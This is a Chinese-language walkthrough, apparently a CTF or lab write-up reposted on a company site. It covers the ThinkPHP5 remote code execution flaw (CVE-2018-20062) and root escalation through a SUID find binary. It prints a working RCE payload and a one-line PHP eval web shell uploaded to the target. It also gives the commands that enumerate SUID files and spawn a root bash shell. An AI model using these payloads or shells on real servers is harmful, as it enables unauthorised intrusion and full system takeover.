尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

ThinkPHP5 RCE+Linux find提权渗透实战:原理+复现(CVE-2018-20062) - 详解

ThinkPHP5 RCE+Linux find提权渗透实战:原理+复现(CVE-2018-20062) - 详解
📅 发布时间:2026/6/19 16:29:08

ThinkPHP5 RCE+Linux find提权渗透实战:原理+复现(CVE-2018-20062) - 详解

目录

一、thinkphp5漏洞

二、find提权

1、什么是 SUID?

2、find命令的 SUID 提权原理

3、find提权步骤

第一步:信息收集与权限确认

第二步:验证SUID权限有效性

第三步:执行提权操作获取Root Shell

三、漏洞渗透

1、fscan扫描

2、使用think php综合利用工具渗透

3、连接蚁剑

4、find提权


本文分析了ThinkPHP5框架的远程代码执行漏洞(RCE)和利用find命令的SUID提权方法,通过原理讲解和实操复现两个漏洞的渗透过程。文章第一部分讲解了ThinkPHP5漏洞的Get shell渗透过程,攻击者可构造恶意POST请求执行任意系统命令。第二部分介绍了通过find命令的SUID提权技术。最后展示了完整的渗透测试流程,从fscan扫描到使用thinkphp_gui_tools获取shell,再到蚁剑连接和find提权获取flag文件。两种技术结合展示了从漏洞利用到权限提升的全过程。

一、thinkphp5漏洞

  • 漏洞编号:ThinkPHP5 5.0.23 RCE 或 ThinkPHP5 invokeFunction RCE。

  • 漏洞影响范围:ThinkPHP 5.x 版本中小于 5.1.31 的版本,以及 5.0.x 版本中小于等于 5.0.23 的版本都受该漏洞影响。

  • 漏洞类型:远程代码执行(Remote Code Execution)。

  • 危险等级:严重(Critical)。

  • 漏洞本质:由于框架对控制器名的过滤不严,导致攻击者可以通过URL调用到核心类 think\App 中的 invokeFunction 方法,从而传递恶意参数并执行任意PHP函数。

  • 漏洞成因:ThinkPHP 5 框架底层对控制器名过滤不严,在未开启强制路由的情况下,攻击者可以通过 URL 调用到 ThinkPHP 框架内部的敏感函数。具体来说,在框架的路由解析过程中,$method来自可控的$_POST数组,且获取后没有进行任何检查,就直接把它作为Request类的方法进行调用,同时该方法传入的参数也是可控数据$_POST,这就使得攻击者可以随意调用Request类的部分方法,进而导致远程代码执行漏洞的产生。
  • 漏洞原理:攻击者可以构造特定的 POST 请求,利用_method=__construct来调用构造方法__construct(),从而覆盖Request类的任意成员变量。例如,通过filter=system可以传递filter值覆盖原有值,再通过server(REQUEST_METHOD)=命令来指定要执行的系统命令,最后通过method=get使得请求能够通过路由检查,最终实现远程代码执行。
  • 漏洞利用方式:可以使用 HackBar 或 BurpSuite 等工具进行漏洞利用。以 BurpSuite 为例,首先对目标网站的请求进行抓包,将请求方式改为 POST,然后在请求参数中构造类似_method=__construct&filter()=system&method=get&server(REQUEST_METHOD)=id的 payload,其中id可以替换为任意想要执行的系统命令。如果漏洞存在,服务器会执行相应的命令并返回结果。攻击者还可以通过该漏洞上传经过 Base64 加密的 shell 脚本,然后使用蚁剑等 webshell 工具连接服务器,进行更深入的恶意操作。

二、find提权

1、什么是 SUID?

  • SUID (Set User ID) 是一种特殊的文件权限。

  • 当一个具有SUID权限的可执行文件被运行时,该进程将不再以执行它的用户身份运行,而是以该文件所有者的身份运行。

  • 例如,/usr/bin/passwd 命令就有 SUID 权限,所有者为 root。普通用户执行 passwd 来修改自己的密码时,实际是在以 root 权限执行,否则无法修改 /etc/shadow 文件。

ls -la /usr/bin/passwd
# 输出示例:-rwsr-xr-x 1 root root ... /usr/bin/passwd
# 注意所有者权限位的 's',这就是 SUID 标志。

2、find命令的 SUID 提权原理

  • 如果 find 命令被设置了 SUID 位,并且其所有者是 root。

  • 那么,任何用户执行 find 命令时,该 find 进程都将拥有 root 权限。

  • find 命令有一个强大的 -exec 参数,可以执行任意系统命令。

  • 因此,如果一个低权限用户能够执行具有 SUID 权限的 find 命令,并通过 -exec 参数执行 /bin/bash 或 /bin/sh,那么启动的 Shell 也将继承 root 权限。

3、find提权步骤

第一步:信息收集与权限确认

在成功获取一个低权限的Shell(例如www-data或apache用户)后,攻击者首先需要确认当前权限级别,通常使用whoami或id命令。紧接着,攻击者会开始搜寻系统中所有设置了SUID权限的可执行文件。这是通过执行命令find / -perm -u=s -type f 2>/dev/null来实现的,该命令会遍历整个文件系统,筛选出那些权限位中设置了SetUID位的文件,并将所有错误输出重定向到空设备以避免干扰。在返回的结果列表中,攻击者会仔细寻找像/usr/bin/find这样的常见系统命令。

第二步:验证SUID权限有效性

一旦发现find命令具有SUID权限,攻击者不会立即进行利用,而是先验证其有效性以确保利用成功。他们通常会执行/usr/bin/find . -exec whoami \; -quit这样的试探性命令。这条命令会利用find的-exec参数执行whoami命令,如果返回结果是"root",则确凿地证明当前执行的find进程确实是以root权限运行的。这个验证步骤至关重要,因为它避免了在无效目标上浪费精力,并确认了提权的可行性。

第三步:执行提权操作获取Root Shell

在确认find命令可以以root权限执行后,攻击者便会发起最终的提权操作。最直接的方式是执行命令:/usr/bin/find . -exec /bin/bash -p \; -quit。这里的-exec参数会为每个找到的文件执行/bin/bash -p,而-p选项指示bash保留提升的权限。由于find进程本身具有root权限,它由此启动的bash shell也就继承了root权限。参数-quit确保find在找到第一个匹配项后立即退出,从而只产生一个root shell。

三、漏洞渗透

1、fscan扫描

使用fscan -h 10.23.28.0/24扫描10.23.28.0网段,发现10.23.28.100:8001由thinkphp 5.23的RCE远程执行漏洞,效果如下所示。  

2、使用think php综合利用工具渗透

thinkphp_gui_tools 是一个采用 JDK8 + javafx 开发的 ThinkPHP 图形化综合利用工具,其下载地址如下URL所示,选择Release版本进行下载,如下图红框所示。

https://github.com/bewhale/thinkphp_gui_tools

下载后解压,在thinkphp.jar所在的目录下执行java -jar ThinkPHP.jar命令,如下所示。

执行java -jar ThinkPHP.jar后即可启动thinkphp综合利用工具,如下图所示,URL地址填写thinkphp的主页,即http://10.23.28.100:8081,然后点击漏洞检测。

检测出有thinkphp5的RCE可执行漏洞,此时点击Getshell,文件名输入ljn.php,木马内容写<?php @eval($_POST[ljn3]); ?>,然后点击Getshell,如下所示上传成功。

3、蚁剑连接

蚁剑的URL链接为http://10.23.28.100:8081/ljn.php,密码为ljn,添加连接成功如下所示。

连接蚁剑成功后,查找到网址根目录下有.hint.txt文件,查看内容是关于提权相关知识点,具体如下所示。

4、find提权

查找有SUID权限的命令,如下所示find命令有效。

使用find提权,使可以查看根目录下的flag文件。find命令本身是用于查找文件的工具,但如果它被设置了 SUID 权限,则普通用户执行find时会以文件所有者(通常是 root)的权限运行。此时,通过-exec参数可以执行系统命令,从而实现提权操作,具体命令如下所示。

touch test
find test -exec whoami \;
find test -exec cat /flag \;
  • touch test

    这是创建一个名为test的空文件,用于后续find命令的查找目标。find命令需要指定查找对象,这里通过创建一个简单的文件作为查找目标,为后续执行命令做准备。

  • find test -exec whoami \;

    • find test:查找名为test的文件。
    • -exec:find命令的一个参数,用于在找到匹配文件后执行后续命令。
    • whoami \;:表示执行whoami命令(查看当前用户身份),\;是-exec参数的结束标志。
      这条命令的作用是:在找到test文件后,执行whoami,通常用于测试当前find命令是否具备执行命令的权限。
  • find test -exec cat /flag \;

    与上一条命令逻辑类似,找到test文件后执行cat /flag,目的是读取/flag文件的内容

相关新闻

  • PySpark - Read Data from PostgreSQL
  • 单部电梯调度总结
  • MySQL的 索引类型 normal、 unique 和 索引方法 btree 、 hash

最新新闻

  • 2026年6月青岛黄金奢侈品回收TOP7实力榜单|客观实测无拉踩,本地变现首选直接抄作业 - 薛定谔的梨花猫
  • 2026年6月19日海安大灯改装本地走访记:检测、装配和交车复查先核对哪几项 - Ayu8888
  • 天津手表回收避坑指南:实测5家正规门店,哪家更让人放心? - 名奢变现站
  • 武汉卖金不用出门!上门回收品牌深度测评,合扬无损耗计价登顶榜首 - 奢侈品交易观察员
  • 深入解析MC9S08DE60内存映射与寄存器配置:从原理到实战优化
  • pandas多维聚合生产实践:滚动窗口、分组展开与性能优化

日新闻

  • 5分钟掌握Python进化算法:Geatpy高性能优化工具完全指南
  • Microchip 24AA044 EEPROM选型与应用全指南:从参数解析到实战编程
  • 华为的鸿蒙到底有多牛?为什么称作遥遥领先?

周新闻

  • 3步解锁iOS设备:applera1n激活锁绕过完全指南
  • 39 2026 人工智能证书终极盘点,普通人选 AI 证书可以从这些方向入手
  • Redis 暴露公网有多危险?从端口检查到补救步骤

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号